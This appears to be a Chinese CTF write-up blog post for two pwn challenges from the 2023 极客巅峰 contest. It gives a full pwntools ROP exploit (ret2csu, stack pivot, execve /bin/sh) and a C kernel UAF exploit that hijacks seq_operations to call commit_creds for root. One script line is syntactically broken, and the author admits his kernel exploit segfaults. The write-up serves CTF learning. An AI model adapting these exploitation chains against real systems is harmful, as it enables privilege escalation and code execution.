• 2023 极客巅峰线上


    linkmap

    考点: 栈溢出+ret2csu+栈迁移

    保护: 开了 Full RELRO 和 NX, 所以这里不能打 ret2dl

    题目给了一些有用的函数:

    在这个函数中, 我们可以把一个地址的数据存放到 BSS 段上.

    漏洞利用

    可以把一个 libc 地址比如 read@got 读取到 bss 上, 然后在修改其为 syscall. 后面就是栈迁移然后打 ret2syscall. 其中 rdx/rsi/rdi 通过 csu 都是可以控制的, 但是 rax 没有办法直接控制, 这里采用的方式是利用 read 函数的返回值去构造 rax = 0x3b. 

    exp 如下:

    1. from pwn import *
    2. context.terminal = ['tmux', 'splitw', '-h']
    3. context(arch = 'amd64', os = 'linux')
    4. #context(arch = 'i386', os = 'linux')
    5. #context.log_level = 'debug'
    6. io = process("./pwn")
    7. elf = ELF("./pwn")
    8. libc = elf.libc
    9. def debug():
    10. gdb.attach(io)
    11. pause()
    12. sd = lambda s : io.send(s)
    13. sda = lambda s, n : io.sendafter(s, n)
    14. sl = lambda s : io.sendline(s)
    15. sla = lambda s, n : io.sendlineafter(s, n)
    16. rc = lambda n : io.recv(n)
    17. rl = lambda : io.recvline()
    18. rut = lambda s : io.recvuntil(s, drop=True)
    19. ruf = lambda s : io.recvuntil(s, drop=False)
    20. addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
    21. addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
    22. addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
    23. addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
    24. byte = lambda n : str(n).encode()
    25. info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
    26. sh = lambda : io.interactive()
    27. menu = b''
    28. #gdb.attach(io, 'b *0x000000000040076D')
    29. pop_rdi = 0x00000000004007e3 # pop rdi ; ret
    30. pop_rsi_r15 = 0x00000000004007e1 # pop rsi ; pop r15 ; ret
    31. csu_f = 0x00000000004007DA
    32. csu_e = 0x00000000004007C0
    33. magic_func = 0x0000000000400606
    34. read_got = 0x0000000000600FD8
    35. leave_ret = 0x0000000000400712 # leave ; ret
    36. call_read = 0x000000000040075E
    37. def csu(call_func, rdi, rsi, rdx, ret_addr, rbp=0, flag=True):
    38. pay = p64(0) + p64(1)
    39. pay += p64(call_func) + p64(rdx) + p64(rsi) + p64(rdi) + p64(csu_e)
    40. pay += p64(0)*2 + p64(rbp) + p64(0)*4
    41. if flag:
    42. pay += p64(ret_addr)
    43. return pay
    44. stack = 0x601050
    45. pay = b'A'*0x10 + p64(0) + p64(csu_f) + csu(read_got, 0, stack, 0x100, leave_ret, stack-0x8)
    46. info("pay len", len(pay))
    47. sleep(0.1)
    48. sd(pay)
    49. pay = p64(pop_rdi) + p64(read_got) + p64(pop_rsi_r15) + p64(1)*2 + p64(magic_func)
    50. pay += p64(csu_f) + csu(read_got, 0, 0x601028+0x100*8, 0x300, pop_rsi_r15, 0x601010) + p64(0x601020-0x8) + p64(0) + p64)
    51. #pause()
    52. sleep(0.1)
    53. sd(pay)
    54. #pause()
    55. sleep(0.1)
    56. sd(b'\xd0')
    57. #pause()
    58. # ==========
    59. # 这个 pay 也行
    60. #pay = p64(csu_f) + csu(read_got, 0, 0x601028+0x100*8+0x8, 0x3b, pop_rsi_r15, 0, False)
    61. #pay += p64(csu_f) + csu(0x601028+0x100*8, 0x601028+0x100*8+0x8, 0, 0, 0)
    62. # ==========
    63. # 利用 read 函数构造 rax = 0x3b
    64. pay = p64(csu_f) + p64(0) + p64(1)
    65. pay += p64(read_got) + p64(0x3b) + p64(0x601028+0x100*8+8) + p64(0) + p64(csu_e)
    66. pay += p64(0)*2 + p64(1)
    67. pay += p64(0x601028+0x100*8) + p64(0)*2 + p64(0x601028+0x100*8+8) + p64(csu_e)
    68. info("pay len", len(pay))
    69. sleep(0.1)
    70. sd(pay)
    71. #pause()
    72. sleep(0.1)
    73. sd(b'/bin/sh'.ljust(0x3b, b'\x00'))
    74. #debug()
    75. sh()

    msg_msg

    吐槽: 真是🤮🤮了, 一样的 exp, 我的打不通, 拿网上的妙通. 什么鬼啊, 操, 害我调了一下午, 4个多小时.

    在非预期下算是一道入门题, 题目给了源码, 跟 babydriver 一样 close 时没有将指针置空导致 UAF.

    UAF 堆块的大小为 0x32, 所以这里直接选择劫持 seq_operations, 最后打 pt_regs:) 难道pt_regs设置了偏移??? 但是拿网上的脚本没问题啊, 下面是我写的, 一直报段错误, 醉了.

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #include
    12. #include
    13. #include
    14. void err_exit(char *msg)
    15. {
    16. printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    17. sleep(5);
    18. exit(EXIT_FAILURE);
    19. }
    20. void hexx(char *msg, size_t value)
    21. {
    22. printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    23. }
    24. void binary_dump(char *desc, void *addr, int len) {
    25. uint64_t *buf64 = (uint64_t *) addr;
    26. uint8_t *buf8 = (uint8_t *) addr;
    27. if (desc != NULL) {
    28. printf("\033[33m[*] %s:\n\033[0m", desc);
    29. }
    30. for (int i = 0; i < len / 8; i += 4) {
    31. printf(" %04x", i * 8);
    32. for (int j = 0; j < 4; j++) {
    33. i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
    34. }
    35. printf(" ");
    36. for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    37. printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    38. }
    39. puts("");
    40. }
    41. }
    42. #define MMSG_ALLOC 0x1111111
    43. #define MMSG_COPY 0x2222222
    44. #define MMSG_RECV 0x3333333
    45. #define MMSG_UPDATE 0x4444444
    46. #define MMSG_PUT_DESC 0x5555555
    47. #define MMSG_GET_DESC 0x6666666
    48. struct mmsg_arg {
    49. unsigned long token;
    50. int top;
    51. int size;
    52. char *data;
    53. };
    54. void set_desc(int fd, char* buf)
    55. {
    56. struct mmsg_arg arg = { .data = buf };
    57. ioctl(fd, MMSG_PUT_DESC, &arg);
    58. }
    59. void get_desc(int fd, char* buf)
    60. {
    61. struct mmsg_arg arg = { .data = buf };
    62. ioctl(fd, MMSG_GET_DESC, &arg);
    63. }
    64. size_t kernel_offset;
    65. static size_t pop_rdi = 0xffffffff8144a9cd;
    66. static size_t init_cred = 0xffffffff8264c9a0;
    67. static size_t commit_creds = 0xffffffff8108d350;
    68. static size_t add_rsp = 0xFFFFFFFF81909B8C;
    69. static size_t swapgs_kpti = 0xFFFFFFFF81C00E54;
    70. int main(int argc, char** argv, char** env)
    71. {
    72. char buf[0x100] = { 0 };
    73. int fd[2];
    74. for (int i = 0; i < 2; i++)
    75. {
    76. fd[i] = open("/dev/mmsg", O_RDWR);
    77. if (fd[i] < 0) err_exit("FAILED ot open dev file");
    78. }
    79. close(fd[0]);
    80. int seq_fd = open("/proc/self/stat", O_RDONLY);
    81. if (seq_fd < 0) err_exit("FAILED to open seq file");
    82. get_desc(fd[1], buf);
    83. binary_dump("Leak data", buf, 0x20);
    84. kernel_offset = *(uint64_t*)buf - 0xffffffff8120fac0;
    85. hexx("kernel_offset", kernel_offset);
    86. pop_rdi += kernel_offset;
    87. init_cred += kernel_offset;
    88. commit_creds += kernel_offset;
    89. add_rsp += kernel_offset;
    90. swapgs_kpti += kernel_offset;
    91. *(uint64_t*)buf = add_rsp;
    92. binary_dump("Write data", buf, 0x20);
    93. set_desc(fd[1], buf);
    94. __asm__(
    95. "mov r14, pop_rdi;"
    96. "mov r13, init_cred;"
    97. "mov r12, commit_creds;"
    98. "mov rbp, swapgs_kpti;"
    99. );
    100. read(seq_fd, buf, 8);
    101. hexx("UID", getuid());
    102. system("/bin/sh");
    103. return 0;
    104. }

    效果如下: 不想搞了, 跟 babydriver 一样的, 别人能通, 我不行, 哎, 浪费4个小时

  • 相关阅读:
    Electron的使用
    手记系列之七 ----- 分享Linux使用经验
    UOS统信系统 - WindTerm使用
    2023大湾区杯粤港澳金融数学建模竞赛思路+模型+代码
    目标检测—YOLO系列(二 ) 全面解读复现YOLOv1 PyTorch
    【计算机基础】优雅的PPT就应该这样设计
    Docker搭建MusicBrainz
    安卓多个listView拖动数据交换位置和拖动
    TSINGSEE青犀睡岗离岗检测算法——确保加油站安全运营
    windows下OOM排查
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/134557483